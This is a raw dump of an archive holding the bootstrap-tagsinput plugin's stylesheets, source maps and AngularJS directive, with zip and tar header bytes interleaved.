rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); } .bootstrap-tagsinput .tag [data-role="remove"]:hover:active { box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); } PK �jG�lN���dist/bootstrap-tagsinput.less.bootstrap-tagsinput { background-color: #fff; border: 1px solid #ccc; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); display: inline-block; padding: 4px 6px; margin-bottom: 10px; color: #555; vertical-align: middle; border-radius: 4px; max-width: 100%; line-height: 22px; cursor: text; input { border: none; box-shadow: none; outline: none; background-color: transparent; padding: 0; margin: 0; width: auto !important; max-width: inherit; &:focus { border: none; box-shadow: none; } } .tag { margin-right: 2px; color: white; [data-role="remove"] { margin-left:8px; cursor:pointer; &:after{ content: "x"; padding:0px 2px; } &:hover { box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); &:active { box-shadow: inset 0 3px 5px rgba(0,0,0,0.125); } } } } } PK �jGPS�oo+dist/bootstrap-tagsinput-angular.min.js.map{"version":3,"sources":["../src/bootstrap-tagsinput-angular.js"],"names":["angular","module","directive","getItemProperty","scope","property","isFunction","$parent","item","undefined","restrict","model","template","replace","link","element","attrs","$","isArray","select","typeaheadSourceArray","typeaheadSource","split","length","tagsinput","options","typeahead","source","itemValue","itemvalue","itemText","itemtext","confirmKeys","confirmkeys","JSON","parse","tagClass","tagclass","i","on","event","indexOf","push","idx","splice","prev","slice","$watch","added","filter","removed"],"mappings":";;;;;AAAAA,QAAQC,OAAO,0BACdC,UAAU,sBAAuB,WAEhC,QAASC,GAAgBC,EAAOC,GAC9B,MAAKA,GAGDL,QAAQM,WAAWF,EAAMG,QAAQF,IAC5BD,EAAMG,QAAQF,GAEhB,SAASG,GACd,MAAOA,GAAKH,IANLI,OAUX,OACEC,SAAU,KACVN,OACEO,MAAO,YAETC,SAAU,6BACVC,SAAS,EACTC,KAAM,SAASV,EAAOW,EAASC,GAC7BC,EAAE,WACKjB,QAAQkB,QAAQd,EAAMO,SACzBP,EAAMO,SAER,IAAIQ,GAASF,EAAE,SAAUF,GACrBK,EAAuBJ,EAAMK,gBAAkBL,EAAMK,gBAAgBC,MAAM,KAAO,KAClFD,EAAkBD,EACjBA,EAAqBG,OAAS,EAC3BnB,EAAMG,QAAQa,EAAqB,IAAIA,EAAqB,IAC1DhB,EAAMG,QAAQa,EAAqB,IACvC,IAEND,GAAOK,UAAUpB,EAAMG,QAAQS,EAAMS,SAAW,MAC9CC,WACEC,OAAW3B,QAAQM,WAAWe,GAAmBA,EAAkB,MAErEO,UAAWzB,EAAgBC,EAAOY,EAAMa,WACxCC,SAAW3B,EAAgBC,EAAOY,EAAMe,UACxCC,YAAc7B,EAAgBC,EAAOY,EAAMiB,aAAeC,KAAKC,MAAMnB,EAAMiB,cAAgB,IAC3FG,SAAWpC,QAAQM,WAAWF,EAAMG,QAAQS,EAAMqB,WAAajC,EAAMG,QAAQS,EAAMqB,UAAY,SAAS7B,GAAQ,MAAOQ,GAAMqB,WAG/H,KAAK,GAAIC,GAAI,EAAGA,EAAIlC,EAAMO,MAAMY,OAAQe,IACtCnB,EAAOK,UAAU,MAAOpB,EAAMO,MAAM2B,GAGtCnB,GAAOoB,GAAG,YAAa,SAASC,GACU,KAApCpC,EAAMO,MAAM8B,QAAQD,EAAMhC,OAC5BJ,EAAMO,MAAM+B,KAAKF,EAAMhC,QAG3BW,EAAOoB,GAAG,cAAe,SAASC,GAChC,GAAIG,GAAMvC,EAAMO,MAAM8B,QAAQD,EAAMhC,KACxB,MAARmC,GACFvC,EAAMO,MAAMiC,OAAOD,EAAK,IAK5B,IAAIE,GAAOzC,EAAMO,MAAMmC,OACvB1C,GAAM2C,OAAO,QAAS,WACpB,GAEIT,GAFAU,EAAQ5C,EAAMO,MAAMsC,OAAO,SAASX,GAAI,MAA2B,KAApBO,EAAKJ,QAAQH,KAC5DY,EAAUL,EAAKI,OAAO,SAASX,GAAI,MAAkC,KAA3BlC,EAAMO,MAAM8B,QAAQH,IAMlE,KAHAO,EAAOzC,EAAMO,MAAMmC,QAGdR,EAAI,EAAGA,EAAIY,EAAQ3B,OAAQe,IAC9BnB,EAAOK,UAAU,SAAU0B,EAAQZ,GAOrC,KAHAnB,EAAOK,UAAU,WAGZc,EAAI,EAAGA,EAAIU,EAAMzB,OAAQe,IAC5BnB,EAAOK,UAAU,MAAOwB,EAAMV,MAE/B","file":"bootstrap-tagsinput-angular.min.js"}PK �jG��R,00#dist/bootstrap-tagsinput.min.js.map{"version":3,"sources":["../src/bootstrap-tagsinput.js"],"names":["$","TagsInput","element","options","this","isInit","itemsArray","$element","hide","isSelect","tagName","multiple","hasAttribute","objectItems","itemValue","placeholderText","attr","inputSize","Math","max","length","$container","$input","appendTo","before","build","makeOptionItemFunction","key","propertyName","item","makeOptionFunction","value","htmlEncode","htmlEncodeContainer","text","html","doGetCaretPosition","oField","iCaretPos","document","selection","focus","oSel","createRange","moveStart","selectionStart","keyCombinationInList","keyPressEvent","lookupList","found","each","index","keyCombination","which","alt","hasOwnProperty","altKey","shift","shiftKey","ctrl","ctrlKey","defaultOptions","tagClass","toString","itemText","itemTitle","freeInput","addOnBlur","maxTags","undefined","maxChars","confirmKeys","delimiter","delimiterRegex","cancelConfirmKeysOnEmpty","onTagExists","$tag","fadeIn","trimValue","allowDuplicates","prototype","constructor","add","dontPushVal","self","trim","match","remove","items","split","i","pushVal","existing","grep","maxInputLength","beforeItemAddEvent","Event","cancel","trigger","push","data","findInputWrapper","after","optionExists","encodeURIComponent","$option","append","addClass","typeahead","$existingTag","filter","other","beforeItemRemoveEvent","inArray","splice","removeClass","removeAll","pop","refresh","contents","nodeType","nodeValue","option","val","map","extend","source","query","process","processItems","texts","isFunction","success","then","when","updater","matcher","toLowerCase","indexOf","sorter","sort","highlighter","regex","RegExp","replace","typeaheadjs","typeaheadConfig","typeaheadDatasets","isArray","on","proxy","obj","datum","valueKey","event","removeAttr","target","$inputWrapper","prev","next","$prevTag","$nextTag","textLength","ceil","maxLengthReached","substr","preventDefault","closest","destroy","off","removeData","show","input","elt","container","parentNode","fn","tagsinput","arg1","arg2","arg3","results","retVal","Constructor","window","jQuery"],"mappings":";;;;;CAAA,SAAWA,GACT,YAiCA,SAASC,GAAUC,EAASC,GAC1BC,KAAKC,QAAS,EACdD,KAAKE,cAELF,KAAKG,SAAWP,EAAEE,GAClBE,KAAKG,SAASC,OAEdJ,KAAKK,SAAgC,WAApBP,EAAQQ,QACzBN,KAAKO,SAAYP,KAAKK,UAAYP,EAAQU,aAAa,YACvDR,KAAKS,YAAcV,GAAWA,EAAQW,UACtCV,KAAKW,gBAAkBb,EAAQU,aAAa,eAAiBR,KAAKG,SAASS,KAAK,eAAiB,GACjGZ,KAAKa,UAAYC,KAAKC,IAAI,EAAGf,KAAKW,gBAAgBK,QAElDhB,KAAKiB,WAAarB,EAAE,2CACpBI,KAAKkB,OAAStB,EAAE,mCAAqCI,KAAKW,gBAAkB,OAAOQ,SAASnB,KAAKiB,YAEjGjB,KAAKG,SAASiB,OAAOpB,KAAKiB,YAE1BjB,KAAKqB,MAAMtB,GACXC,KAAKC,QAAS,EAohBhB,QAASqB,GAAuBvB,EAASwB,GACvC,GAA4B,kBAAjBxB,GAAQwB,GAAqB,CACtC,GAAIC,GAAezB,EAAQwB,EAC3BxB,GAAQwB,GAAO,SAASE,GAAQ,MAAOA,GAAKD,KAGhD,QAASE,GAAmB3B,EAASwB,GACnC,GAA4B,kBAAjBxB,GAAQwB,GAAqB,CACtC,GAAII,GAAQ5B,EAAQwB,EACpBxB,GAAQwB,GAAO,WAAa,MAAOI,KAOvC,QAASC,GAAWD,GAClB,MAAIA,GACKE,EAAoBC,KAAKH,GAAOI,OAEhC,GAQX,QAASC,GAAmBC,GAC1B,GAAIC,GAAY,CAChB,IAAIC,SAASC,UAAW,CACtBH,EAAOI,OACP,IAAIC,GAAOH,SAASC,UAAUG,aAC9BD,GAAKE,UAAW,aAAcP,EAAON,MAAMX,QAC3CkB,EAAYI,EAAKR,KAAKd,YACbiB,EAAOQ,gBAA2C,KAAzBR,EAAOQ,kBACzCP,EAAYD,EAAOQ,eAErB,OAAO,GAUT,QAASC,GAAqBC,EAAeC,GACzC,GAAIC,IAAQ,CAkBZ,OAjBAjD,GAAEkD,KAAKF,EAAY,SAAUG,EAAOC,GAChC,GAAgC,gBAArB,IAAiCL,EAAcM,QAAUD,EAEhE,MADAH,IAAQ,GACD,CAGX,IAAIF,EAAcM,QAAUD,EAAeC,MAAO,CAC9C,GAAIC,IAAOF,EAAeG,eAAe,WAAaR,EAAcS,SAAWJ,EAAeI,OAC1FC,GAASL,EAAeG,eAAe,aAAeR,EAAcW,WAAaN,EAAeM,SAChGC,GAAQP,EAAeG,eAAe,YAAcR,EAAca,UAAYR,EAAeQ,OACjG,IAAIN,GAAOG,GAASE,EAEhB,MADAV,IAAQ,GACD,KAKZA,EAzoBX,GAAIY,IACFC,SAAU,SAASjC,GACjB,MAAO,oBAETf,UAAW,SAASe,GAClB,MAAOA,GAAOA,EAAKkC,WAAalC,GAElCmC,SAAU,SAASnC,GACjB,MAAOzB,MAAKU,UAAUe,IAExBoC,UAAW,SAASpC,GAClB,MAAO,OAETqC,WAAW,EACXC,WAAW,EACXC,QAASC,OACTC,SAAUD,OACVE,aAAc,GAAI,IAClBC,UAAW,IACXC,eAAgB,KAChBC,0BAA0B,EAC1BC,YAAa,SAAS9C,EAAM+C,GAC1BA,EAAKpE,OAAOqE,UAEdC,WAAW,EACXC,iBAAiB,EA4BnB9E,GAAU+E,WACRC,YAAahF,EAMbiF,IAAK,SAASrD,EAAMsD,EAAahF,GAC/B,GAAIiF,GAAOhF,IAEX,MAAIgF,EAAKjF,QAAQiE,SAAWgB,EAAK9E,WAAWc,QAAUgE,EAAKjF,QAAQiE,WAI/DvC,KAAS,GAAUA,GAAvB,CASA,GALoB,gBAATA,IAAqBuD,EAAKjF,QAAQ2E,YAC3CjD,EAAO7B,EAAEqF,KAAKxD,IAII,gBAATA,KAAsBuD,EAAKvE,YACpC,KAAK,oDAGP,KAAIgB,EAAKkC,WAAWuB,MAAM,SAA1B,CAOA,GAHIF,EAAK3E,WAAa2E,EAAKzE,UAAYyE,EAAK9E,WAAWc,OAAS,GAC9DgE,EAAKG,OAAOH,EAAK9E,WAAW,IAEV,gBAATuB,IAAkD,UAA7BzB,KAAKG,SAAS,GAAGG,QAAqB,CACpE,GAAI8D,GAAaY,EAAKjF,QAAsB,eAAIiF,EAAKjF,QAAQsE,eAAiBW,EAAKjF,QAAQqE,UACvFgB,EAAQ3D,EAAK4D,MAAMjB,EACvB,IAAIgB,EAAMpE,OAAS,EAAG,CACpB,IAAK,GAAIsE,GAAI,EAAGA,EAAIF,EAAMpE,OAAQsE,IAChCtF,KAAK8E,IAAIM,EAAME,IAAI,EAKrB,aAFKP,GACHC,EAAKO,YAKX,GAAI7E,GAAYsE,EAAKjF,QAAQW,UAAUe,GACnCmC,EAAWoB,EAAKjF,QAAQ6D,SAASnC,GACjCiC,EAAWsB,EAAKjF,QAAQ2D,SAASjC,GACjCoC,EAAYmB,EAAKjF,QAAQ8D,UAAUpC,GAGnC+D,EAAW5F,EAAE6F,KAAKT,EAAK9E,WAAY,SAASuB,GAAQ,MAAOuD,GAAKjF,QAAQW,UAAUe,KAAUf,IAAe,EAC/G,KAAI8E,GAAaR,EAAKjF,QAAQ4E,iBAU9B,KAAIK,EAAKI,QAAQzB,WAAW3C,OAASS,EAAKT,OAAS,EAAIgE,EAAKjF,QAAQ2F,gBAApE,CAIA,GAAIC,GAAqB/F,EAAEgG,MAAM,iBAAmBnE,KAAMA,EAAMoE,QAAQ,EAAO9F,QAASA,GAExF,IADAiF,EAAK7E,SAAS2F,QAAQH,IAClBA,EAAmBE,OAAvB,CAIAb,EAAK9E,WAAW6F,KAAKtE,EAIrB,IAAI+C,GAAO5E,EAAE,oBAAsBgC,EAAW8B,IAA2B,OAAdG,EAAsB,YAAcA,EAAa,IAAM,KAAOjC,EAAWgC,GAAY,0CAChJY,GAAKwB,KAAK,OAAQvE,GAClBuD,EAAKiB,mBAAmB7E,OAAOoD,GAC/BA,EAAK0B,MAAM,IAGX,IAAIC,GACFvG,EAAE,iBAAmBwG,mBAAmB1F,GAAa,KAAMsE,EAAK7E,UAAUa,QAC1EpB,EAAE,iBAAmBgC,EAAWlB,GAAa,KAAMsE,EAAK7E,UAAUa,MAIpE,IAAIgE,EAAK3E,WAAa8F,EAAc,CAClC,GAAIE,GAAUzG,EAAE,oBAAsBgC,EAAWgC,GAAY,YAC7DyC,GAAQL,KAAK,OAAQvE,GACrB4E,EAAQzF,KAAK,QAASF,GACtBsE,EAAK7E,SAASmG,OAAOD,GAGlBtB,GACHC,EAAKO,WAGHP,EAAKjF,QAAQiE,UAAYgB,EAAK9E,WAAWc,QAAUgE,EAAKI,QAAQzB,WAAW3C,SAAWgE,EAAKjF,QAAQ2F,iBACrGV,EAAK/D,WAAWsF,SAAS,2BAGvB3G,EAAE,iCAAkCoF,EAAK/D,YAAYD,QACvDgE,EAAK9D,OAAOsF,UAAU,MAAO,IAG3BxG,KAAKC,OACP+E,EAAK7E,SAAS2F,QAAQlG,EAAEgG,MAAM,mBAAqBnE,KAAMA,EAAM1B,QAASA,KAExEiF,EAAK7E,SAAS2F,QAAQlG,EAAEgG,MAAM,aAAenE,KAAMA,EAAM1B,QAASA,WAxDlE,IAAIiF,EAAKjF,QAAQwE,YAAa,CAC5B,GAAIkC,GAAe7G,EAAE,OAAQoF,EAAK/D,YAAYyF,OAAO,WAAa,MAAO9G,GAAEI,MAAMgG,KAAK,UAAYR,GAClGR,GAAKjF,QAAQwE,YAAY9C,EAAMgF,OA8DrCtB,OAAQ,SAAS1D,EAAMsD,EAAahF,GAClC,GAAIiF,GAAOhF,IAWX,IATIgF,EAAKvE,cAELgB,EADkB,gBAATA,GACF7B,EAAE6F,KAAKT,EAAK9E,WAAY,SAASyG,GAAS,MAAO3B,GAAKjF,QAAQW,UAAUiG,IAAW3B,EAAKjF,QAAQW,UAAUe,KAE1G7B,EAAE6F,KAAKT,EAAK9E,WAAY,SAASyG,GAAS,MAAO3B,GAAKjF,QAAQW,UAAUiG,IAAWlF,IAE5FA,EAAOA,EAAKA,EAAKT,OAAO,IAGtBS,EAAM,CACR,GAAImF,GAAwBhH,EAAEgG,MAAM,oBAAsBnE,KAAMA,EAAMoE,QAAQ,EAAO9F,QAASA,GAE9F,IADAiF,EAAK7E,SAAS2F,QAAQc,GAClBA,EAAsBf,OACxB,MAEFjG,GAAE,OAAQoF,EAAK/D,YAAYyF,OAAO,WAAa,MAAO9G,GAAEI,MAAMgG,KAAK,UAAYvE,IAAS0D,SACxFvF,EAAE,SAAUoF,EAAK7E,UAAUuG,OAAO,WAAa,MAAO9G,GAAEI,MAAMgG,KAAK,UAAYvE,IAAS0D,SAChD,KAArCvF,EAAEiH,QAAQpF,EAAMuD,EAAK9E,aACtB8E,EAAK9E,WAAW4G,OAAOlH,EAAEiH,QAAQpF,EAAMuD,EAAK9E,YAAa,GAGxD6E,GACHC,EAAKO,UAGHP,EAAKjF,QAAQiE,QAAUgB,EAAK9E,WAAWc,QACzCgE,EAAK/D,WAAW8F,YAAY,2BAE9B/B,EAAK7E,SAAS2F,QAAQlG,EAAEgG,MAAM,eAAkBnE,KAAMA,EAAM1B,QAASA,MAMvEiH,UAAW,WACT,GAAIhC,GAAOhF,IAKX,KAHAJ,EAAE,OAAQoF,EAAK/D,YAAYkE,SAC3BvF,EAAE,SAAUoF,EAAK7E,UAAUgF,SAErBH,EAAK9E,WAAWc,OAAS,GAC7BgE,EAAK9E,WAAW+G,KAElBjC,GAAKO,WAOP2B,QAAS,WACP,GAAIlC,GAAOhF,IACXJ,GAAE,OAAQoF,EAAK/D,YAAY6B,KAAK,WAC9B,GAAI0B,GAAO5E,EAAEI,MACTyB,EAAO+C,EAAKwB,KAAK,QACjBtF,EAAYsE,EAAKjF,QAAQW,UAAUe,GACnCmC,EAAWoB,EAAKjF,QAAQ6D,SAASnC,GACjCiC,EAAWsB,EAAKjF,QAAQ2D,SAASjC,EASnC,IANA+C,EAAK5D,KAAK,QAAS,MACnB4D,EAAK+B,SAAS,OAAS3E,EAAW8B,IAClCc,EAAK2C,WAAWT,OAAO,WACrB,MAAwB,IAAjB1G,KAAKoH,WACX,GAAGC,UAAYzF,EAAWgC,GAEzBoB,EAAK3E,SAAU,CACjB,GAAIiH,GAAS1H,EAAE,SAAUoF,EAAK7E,UAAUuG,OAAO,WAAa,MAAO9G,GAAEI,MAAMgG,KAAK,UAAYvE,GAC5F6F,GAAO1G,KAAK,QAASF,OAQ7B0E,MAAO,WACL,MAAOpF,MAAKE,YAOdqF,QAAS,WACP,GAAIP,GAAOhF,KACPuH,EAAM3H,EAAE4H,IAAIxC,EAAKI,QAAS,SAAS3D,GACjC,MAAOuD,GAAKjF,QAAQW,UAAUe,GAAMkC,YAG1CqB,GAAK7E,SAASoH,IAAIA,GAAK,GAAMzB,QAAQ,WAMvCzE,MAAO,SAAStB,GACd,GAAIiF,GAAOhF,IAYX,IAVAgF,EAAKjF,QAAUH,EAAE6H,UAAWhE,EAAgB1D,GAExCiF,EAAKvE,cACPuE,EAAKjF,QAAQ+D,WAAY,GAE3BxC,EAAuB0D,EAAKjF,QAAS,aACrCuB,EAAuB0D,EAAKjF,QAAS,YACrC2B,EAAmBsD,EAAKjF,QAAS,YAG7BiF,EAAKjF,QAAQyG,UAAW,CAC1B,GAAIA,GAAYxB,EAAKjF,QAAQyG,aAE7B9E,GAAmB8E,EAAW,UAE9BxB,EAAK9D,OAAOsF,UAAU5G,EAAE6H,UAAWjB,GACjCkB,OAAQ,SAAUC,EAAOC,GACvB,QAASC,GAAazC,GAGpB,IAAK,GAFD0C,MAEKxC,EAAI,EAAGA,EAAIF,EAAMpE,OAAQsE,IAAK,CACrC,GAAIxD,GAAOkD,EAAKjF,QAAQ6D,SAASwB,EAAME,GACvCkC,GAAI1F,GAAQsD,EAAME,GAClBwC,EAAM/B,KAAKjE,GAEb8F,EAAQE,GAGV9H,KAAKwH,MACL,IAAIA,GAAMxH,KAAKwH,IACXxB,EAAOQ,EAAUkB,OAAOC,EAExB/H,GAAEmI,WAAW/B,EAAKgC,SAEpBhC,EAAKgC,QAAQH,GACJjI,EAAEmI,WAAW/B,EAAKiC,MAE3BjC,EAAKiC,KAAKJ,GAGVjI,EAAEsI,KAAKlC,GACLiC,KAAKJ,IAGXM,QAAS,SAAUrG,GAEjB,MADAkD,GAAKF,IAAI9E,KAAKwH,IAAI1F,IACX9B,KAAKwH,IAAI1F,IAElBsG,QAAS,SAAUtG,GACjB,MAAwE,KAAhEA,EAAKuG,cAAcC,QAAQtI,KAAK2H,MAAM1C,OAAOoD,gBAEvDE,OAAQ,SAAUT,GAChB,MAAOA,GAAMU,QAEfC,YAAa,SAAU3G,GACrB,GAAI4G,GAAQ,GAAIC,QAAQ,IAAM3I,KAAK2H,MAAQ,IAAK,KAChD,OAAO7F,GAAK8G,QAASF,EAAO,2BAMlC,GAAI1D,EAAKjF,QAAQ8I,YAAa,CAC1B,GAAIC,GAAkB,KAClBC,KAGAF,EAAc7D,EAAKjF,QAAQ8I,WAC3BjJ,GAAEoJ,QAAQH,IACZC,EAAkBD,EAAY,GAC9BE,EAAoBF,EAAY,IAEhCE,EAAoBF,EAGtB7D,EAAK9D,OAAOsF,UAAUsC,EAAiBC,GAAmBE,GAAG,qBAAsBrJ,EAAEsJ,MAAM,SAAUC,EAAKC,GACpGL,EAAkBM,SACpBrE,EAAKF,IAAIsE,EAAML,EAAkBM,WAEjCrE,EAAKF,IAAIsE,GACXpE,EAAK9D,OAAOsF,UAAU,MAAO,KAC5BxB,IAGPA,EAAK/D,WAAWgI,GAAG,QAASrJ,EAAEsJ,MAAM,SAASI,GACrCtE,EAAK7E,SAASS,KAAK,aACvBoE,EAAK9D,OAAOqI,WAAW,YAEzBvE,EAAK9D,OAAOmB,SACX2C,IAEGA,EAAKjF,QAAQgE,WAAaiB,EAAKjF,QAAQ+D,WACzCkB,EAAK9D,OAAO+H,GAAG,WAAYrJ,EAAEsJ,MAAM,SAASI,GAG4B,IAAhE1J,EAAE,iCAAkCoF,EAAK/D,YAAYD,SACvDgE,EAAKF,IAAIE,EAAK9D,OAAOqG,OACrBvC,EAAK9D,OAAOqG,IAAI,MAEnBvC,IAIPA,EAAK/D,WAAWgI,GAAG,UAAW,QAASrJ,EAAEsJ,MAAM,SAASI,GACtD,GAAIpI,GAAStB,EAAE0J,EAAME,QACjBC,EAAgBzE,EAAKiB,kBAEzB,IAAIjB,EAAK7E,SAASS,KAAK,YAErB,WADAoE,GAAK9D,OAAON,KAAK,WAAY,WAI/B,QAAQ0I,EAAMrG,OAEZ,IAAK,GACH,GAAsC,IAAlCjB,EAAmBd,EAAO,IAAW,CACvC,GAAIwI,GAAOD,EAAcC,MACrBA,GAAK1I,QACPgE,EAAKG,OAAOuE,EAAK1D,KAAK,SAG1B,KAGF,KAAK,IACH,GAAsC,IAAlChE,EAAmBd,EAAO,IAAW,CACvC,GAAIyI,GAAOF,EAAcE,MACrBA,GAAK3I,QACPgE,EAAKG,OAAOwE,EAAK3D,KAAK,SAG1B,KAGF,KAAK,IAEH,GAAI4D,GAAWH,EAAcC,MACD,KAAxBxI,EAAOqG,MAAMvG,QAAgB4I,EAAS,KACxCA,EAASxI,OAAOqI,GAChBvI,EAAOmB,QAET,MAEF,KAAK,IAEH,GAAIwH,GAAWJ,EAAcE,MACD,KAAxBzI,EAAOqG,MAAMvG,QAAgB6I,EAAS,KACxCA,EAAS3D,MAAMuD,GACfvI,EAAOmB,SAQb,GAAIyH,GAAa5I,EAAOqG,MAAMvG,MACdF,MAAKiJ,KAAKD,EAAa,EAEvC5I,GAAON,KAAK,OAAQE,KAAKC,IAAIf,KAAKa,UAAWK,EAAOqG,MAAMvG,UACzDgE,IAEHA,EAAK/D,WAAWgI,GAAG,WAAY,QAASrJ,EAAEsJ,MAAM,SAASI,GACtD,GAAIpI,GAAStB,EAAE0J,EAAME,OAErB,IAAIxE,EAAK7E,SAASS,KAAK,YAEpB,WADAoE,GAAK9D,OAAON,KAAK,WAAY,WAIhC,IAAIkB,GAAOZ,EAAOqG,MAClByC,EAAmBhF,EAAKjF,QAAQmE,UAAYpC,EAAKd,QAAUgE,EAAKjF,QAAQmE,QACpEc,GAAKjF,QAAQ+D,YAAcpB,EAAqB4G,EAAOtE,EAAKjF,QAAQoE,cAAgB6F,KAEjE,IAAhBlI,EAAKd,SACNgE,EAAKF,IAAIkF,EAAmBlI,EAAKmI,OAAO,EAAGjF,EAAKjF,QAAQmE,UAAYpC,GACpEZ,EAAOqG,IAAI,KAIVvC,EAAKjF,QAAQuE,4BAA6B,GAC1CgF,EAAMY,iBAKb,IAAIJ,GAAa5I,EAAOqG,MAAMvG,MACfF,MAAKiJ,KAAKD,EAAa,EAEtC5I,GAAON,KAAK,OAAQE,KAAKC,IAAIf,KAAKa,UAAWK,EAAOqG,MAAMvG,UAC1DgE,IAGHA,EAAK/D,WAAWgI,GAAG,QAAS,qBAAsBrJ,EAAEsJ,MAAM,SAASI,GAC7DtE,EAAK7E,SAASS,KAAK,aAGvBoE,EAAKG,OAAOvF,EAAE0J,EAAME,QAAQW,QAAQ,QAAQnE,KAAK,UAChDhB,IAGCA,EAAKjF,QAAQW,YAAc+C,EAAe/C,YACX,UAA7BsE,EAAK7E,SAAS,GAAGG,QACjB0E,EAAKF,IAAIE,EAAK7E,SAASoH,OAEzB3H,EAAE,SAAUoF,EAAK7E,UAAU2C,KAAK,WAC9BkC,EAAKF,IAAIlF,EAAEI,MAAMY,KAAK,UAAU,OASxCwJ,QAAS,WACP,GAAIpF,GAAOhF,IAGXgF,GAAK/D,WAAWoJ,IAAI,WAAY,SAChCrF,EAAK/D,WAAWoJ,IAAI,QAAS,iBAE7BrF,EAAK/D,WAAWkE,SAChBH,EAAK7E,SAASmK,WAAW,aACzBtF,EAAK7E,SAASoK,QAMhBlI,MAAO,WACLrC,KAAKkB,OAAOmB,SAMdmI,MAAO,WACL,MAAOxK,MAAKkB,QAOd+E,iBAAkB,WAGhB,IAFA,GAAIwE,GAAMzK,KAAKkB,OAAO,GAClBwJ,EAAY1K,KAAKiB,WAAW,GAC1BwJ,GAAOA,EAAIE,aAAeD,GAC9BD,EAAMA,EAAIE,UAEZ,OAAO/K,GAAE6K,KAOb7K,EAAEgL,GAAGC,UAAY,SAASC,EAAMC,EAAMC,GACpC,GAAIC,KAgCJ,OA9BAjL,MAAK8C,KAAK,WACR,GAAI+H,GAAYjL,EAAEI,MAAMgG,KAAK,YAE7B,IAAK6E,EAWE,GAAKC,GAASC,GAId,GAAuB9G,SAApB4G,EAAUC,GAAqB,CAEnC,GAA8B,IAA3BD,EAAUC,GAAM9J,QAAyBiD,SAAT+G,EAChC,GAAIE,GAASL,EAAUC,GAAMC,EAAM,KAAMC,OAEzC,IAAIE,GAASL,EAAUC,GAAMC,EAEnB9G,UAAXiH,GACAD,EAAQlF,KAAKmF,QATjBD,GAAQlF,KAAK8E,OAbbA,GAAY,GAAIhL,GAAUG,KAAM8K,GAChClL,EAAEI,MAAMgG,KAAK,YAAa6E,GAC1BI,EAAQlF,KAAK8E,GAEQ,WAAjB7K,KAAKM,SACLV,EAAE,SAAUA,EAAEI,OAAOY,KAAK,WAAY,YAI1ChB,EAAEI,MAAMuH,IAAI3H,EAAEI,MAAMuH,SAiBN,gBAARuD,GAEHG,EAAQjK,OAAS,EAAIiK,EAAUA,EAAQ,GAEvCA,GAIXrL,EAAEgL,GAAGC,UAAUM,YAActL,CAsB7B,IAAIgC,GAAsBjC,EAAE,UA2D5BA,GAAE,WACAA,EAAE,qEAAqEiL,eAExEO,OAAOC","file":"bootstrap-tagsinput.min.js"}PK �jGdist/PK �jGv��gg##dist/bootstrap-tagsinput-angular.jsPK �jG�T+��'�dist/bootstrap-tagsinput-angular.min.jsPK �jG �L�UU�dist/bootstrap-tagsinput.jsPK �jG���#�# gdist/bootstrap-tagsinput.min.jsPK �jG�����&�dist/bootstrap-tagsinput-typeahead.cssPK �jGi��6%%(�dist/bootstrap-tagsinput.cssPK �jG�lN�����dist/bootstrap-tagsinput.lessPK �jGPS�oo+��dist/bootstrap-tagsinput-angular.min.js.mapPK �jG��R,00#L�dist/bootstrap-tagsinput.min.js.mapPK ��bootstrap-tagsinput-angular.js000064400000005676151677260650012617 0ustar00angular.module('bootstrap-tagsinput', []) .directive('bootstrapTagsinput', [function() { function getItemProperty(scope, property) { if (!property) return undefined; if (angular.isFunction(scope.$parent[property])) return scope.$parent[property]; return function(item) { return item[property]; }; } return { restrict: 'EA', scope: { model: '=ngModel' }, template: '<select multiple></select>', replace: false, link: function(scope, element, attrs) { $(function() { if (!angular.isArray(scope.model)) scope.model = []; var select = $('select', element); var typeaheadSourceArray = attrs.typeaheadSource ? attrs.typeaheadSource.split('.') : null; var typeaheadSource = typeaheadSourceArray ? (typeaheadSourceArray.length > 1 ? scope.$parent[typeaheadSourceArray[0]][typeaheadSourceArray[1]] : scope.$parent[typeaheadSourceArray[0]]) : null; select.tagsinput(scope.$parent[attrs.options || ''] || { typeahead : { source : angular.isFunction(typeaheadSource) ? typeaheadSource : null }, itemValue: getItemProperty(scope, attrs.itemvalue), itemText : getItemProperty(scope, attrs.itemtext), confirmKeys : getItemProperty(scope, attrs.confirmkeys) ? JSON.parse(attrs.confirmkeys) : [13], tagClass : angular.isFunction(scope.$parent[attrs.tagclass]) ? scope.$parent[attrs.tagclass] : function(item) { return attrs.tagclass; } }); for (var i = 0; i < scope.model.length; i++) { select.tagsinput('add', scope.model[i]); } select.on('itemAdded', function(event) { if (scope.model.indexOf(event.item) === -1) scope.model.push(event.item); }); select.on('itemRemoved', function(event) { var idx = scope.model.indexOf(event.item); if (idx !== -1) scope.model.splice(idx, 1); }); // create a shallow copy of model's current state, needed to determine // diff when model changes var prev = scope.model.slice(); scope.$watch("model", function() { var added = scope.model.filter(function(i) {return prev.indexOf(i) === -1;}), removed = prev.filter(function(i) {return scope.model.indexOf(i) === -1;}), i; prev = scope.model.slice(); // Remove tags no longer in binded model for (i = 0; i < removed.length; i++) { select.tagsinput('remove', removed[i]); } // Refresh remaining tags select.tagsinput('refresh'); // Add new items in model as tags for (i = 0; i < added.length; i++) { select.tagsinput('add', added[i]); } }, true); }); } }; }]); bootstrap-tagsinput-typeahead.css000064400000002000151677260650013260 0ustar00.twitter-typeahead .tt-query, .twitter-typeahead .tt-hint { margin-bottom: 0; } .twitter-typeahead .tt-hint { display: none; } .tt-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; list-style: none; font-size: 14px; background-color: #ffffff; border: 1px solid #cccccc; border: 1px solid rgba(0, 0, 0, 0.15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175); background-clip: padding-box; cursor: pointer; } .tt-suggestion { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.428571429; color: #333333; white-space: nowrap; } .tt-suggestion:hover, .tt-suggestion:focus { color: #ffffff; text-decoration: none; outline: 0; background-color: #428bca; } bootstrap-tagsinput.css000064400000002534151677260650011332 0ustar00.bootstrap-tagsinput { background-color: #fff; border: 1px solid #ccc; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); display: inline-block; padding: 4px 6px; color: #555; vertical-align: middle; border-radius: 4px; max-width: 100%; line-height: 22px; 